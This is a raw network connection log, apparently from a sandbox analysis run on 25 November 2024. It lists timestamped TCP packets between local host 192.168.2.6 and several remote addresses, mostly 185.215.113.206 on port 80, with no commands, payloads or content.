Nov 25, 2024 07:53:52.253441095 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.253489971 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.253544092 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.253608942 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.254324913 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.254364967 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.254369974 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.254395008 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.255059958 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.255104065 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.255146027 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.255182028 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.255892038 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.255955935 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.256196022 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.256252050 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.256694078 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.256720066 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.256738901 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.256763935 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.257572889 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.257628918 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.257661104 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.257754087 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.258327961 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.258371115 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.258502960 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.258538008 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.259109974 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.259222984 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.259268045 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.259975910 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.259988070 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.260040045 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.260763884 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.260833025 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.260999918 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.261050940 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.262033939 CET	443	49907	204.79.197.239	192.168.2.6
Nov 25, 2024 07:53:52.262221098 CET	443	49907	204.79.197.239	192.168.2.6
Nov 25, 2024 07:53:52.262278080 CET	49907	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:52.262684107 CET	49907	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:52.262698889 CET	443	49907	204.79.197.239	192.168.2.6
Nov 25, 2024 07:53:52.274955034 CET	443	49902	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.275022030 CET	443	49902	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.275080919 CET	49902	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.276082993 CET	49902	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.276091099 CET	443	49902	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.280101061 CET	49922	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.280129910 CET	443	49922	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.280584097 CET	49922	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.280781984 CET	49922	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.280793905 CET	443	49922	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.316454887 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.316514969 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.316596031 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.316720009 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.316728115 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.316756964 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.316895962 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.316945076 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.317078114 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.317291021 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.317776918 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.317827940 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.317924023 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.317990065 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.318614006 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.318659067 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.318794012 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.318842888 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.319345951 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.319499969 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.319514990 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.319541931 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.320157051 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.320297003 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.320338011 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.321048975 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.321104050 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.323863983 CET	49923	443	192.168.2.6	20.110.205.119
Nov 25, 2024 07:53:52.323906898 CET	443	49923	20.110.205.119	192.168.2.6
Nov 25, 2024 07:53:52.324105024 CET	49923	443	192.168.2.6	20.110.205.119
Nov 25, 2024 07:53:52.324661970 CET	49923	443	192.168.2.6	20.110.205.119
Nov 25, 2024 07:53:52.324677944 CET	443	49923	20.110.205.119	192.168.2.6
Nov 25, 2024 07:53:52.366777897 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.366863966 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.366938114 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.366978884 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.367129087 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.367180109 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.367218018 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.367255926 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.367768049 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.367835999 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.367876053 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.368577003 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.368628025 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.368635893 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.368690968 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.368777037 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.368848085 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.368952990 CET	49903	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.369378090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.369414091 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.369549990 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.369604111 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.370182991 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.370237112 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.370276928 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.370311975 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.370986938 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.371036053 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.371098042 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.371134996 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.371822119 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.371867895 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.372121096 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.372162104 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.372636080 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.372693062 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.372751951 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.372787952 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.373425007 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.373507023 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.373647928 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.373931885 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.374248028 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.374352932 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.374372959 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.374452114 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.375065088 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.375106096 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.375121117 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.375140905 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.375886917 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.375940084 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.375941038 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.376007080 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.376679897 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.376723051 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.376804113 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.376843929 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.377492905 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.377597094 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.377613068 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.377646923 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.378314018 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.378371954 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.378413916 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.378451109 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.379117966 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.379237890 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.379271984 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.382679939 CET	443	49911	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.386457920 CET	443	49910	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.418598890 CET	49903	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.418633938 CET	443	49903	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.421222925 CET	49910	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.421232939 CET	443	49910	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.421498060 CET	49911	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.421520948 CET	443	49911	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.422655106 CET	443	49911	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.422719002 CET	49911	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.422878981 CET	443	49910	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.422949076 CET	49910	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.423552990 CET	49911	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.423650026 CET	443	49911	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.427414894 CET	49910	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.427501917 CET	443	49910	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.429831982 CET	49911	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.429840088 CET	443	49911	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.431360006 CET	49910	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.431369066 CET	443	49910	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.438652039 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.438723087 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.438726902 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.438791990 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.439079046 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.439090967 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.439114094 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.439132929 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.439929962 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.439979076 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.440006018 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.440043926 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.440634966 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.440712929 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.440912962 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.441031933 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.441140890 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.441730976 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.441817045 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.441876888 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.442627907 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.442640066 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.442677021 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.443370104 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.443419933 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.443460941 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.444199085 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.444251060 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.444273949 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.444314957 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.444957972 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.445010900 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.445080996 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.445096970 CET	443	49908	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.445152998 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.445833921 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.445884943 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.445893049 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.445934057 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.446629047 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.446779013 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.446909904 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.447546005 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.447596073 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.447698116 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.447905064 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.448230982 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.448266983 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.448292017 CET	443	49909	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.448345900 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.448394060 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.449105024 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.449143887 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.449158907 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.449193954 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.449938059 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.449987888 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.450032949 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.450076103 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.450702906 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.450750113 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.450768948 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.450936079 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.451531887 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.451548100 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.451576948 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.451601028 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.452064037 CET	443	49912	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.452301025 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.452348948 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.452454090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.452903986 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.453120947 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.453160048 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.453171968 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.453217983 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.453946114 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.454001904 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.454056025 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.454771042 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.454818964 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.454860926 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.455018997 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.455554008 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.455600023 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.455662966 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.455795050 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.456484079 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.456532001 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.456964970 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.457165003 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.457187891 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.457223892 CET	443	49906	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.457273960 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.457285881 CET	443	49906	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.457314014 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.457336903 CET	49906	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.457355976 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.458002090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.458107948 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.458158970 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.458802938 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.458848000 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.458897114 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.458939075 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.459753036 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.459937096 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.459976912 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.460450888 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.460602045 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.460603952 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.460669994 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.460901976 CET	49912	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.460912943 CET	443	49912	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.461159945 CET	49909	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.461177111 CET	443	49909	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.461267948 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.461380005 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.461426973 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.462043047 CET	443	49912	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.462111950 CET	49912	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.462174892 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.462186098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.462220907 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.462749958 CET	443	49909	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.462800980 CET	49909	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.464750051 CET	49909	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.464834929 CET	443	49909	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.477019072 CET	49908	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.477030039 CET	443	49908	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.477526903 CET	443	49908	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.478388071 CET	49911	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.478394985 CET	49910	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.485570908 CET	49912	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.485846043 CET	443	49912	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.486526012 CET	49908	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.486769915 CET	443	49908	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.499387980 CET	49909	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.499403000 CET	443	49909	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.502183914 CET	49912	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.502199888 CET	443	49912	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:52.502998114 CET	49908	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:52.507028103 CET	49906	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.507054090 CET	443	49906	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.507067919 CET	49906	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.507076025 CET	443	49906	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.510878086 CET	49924	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:52.510921955 CET	443	49924	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:52.511090994 CET	49924	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:52.512077093 CET	49924	443	192.168.2.6	20.198.119.143
Nov 25, 2024 07:53:52.512098074 CET	443	49924	20.198.119.143	192.168.2.6
Nov 25, 2024 07:53:52.516377926 CET	49925	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.516407967 CET	443	49925	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.516468048 CET	49925	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.516864061 CET	49925	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.516875029 CET	443	49925	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.517441034 CET	49926	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.517478943 CET	443	49926	13.107.246.63	192.168.2.6
Nov 25, 2024 07:53:52.517527103 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.517585039 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.517654896 CET	49926	443	192.168.2.6	13.107.246.63
Nov 25, 2024 07:53:52.517657995 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.517939091 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.517995119 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:52.518024921 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:52.518100023 CET	49825	80	192.168.2.6	185.215.113.206
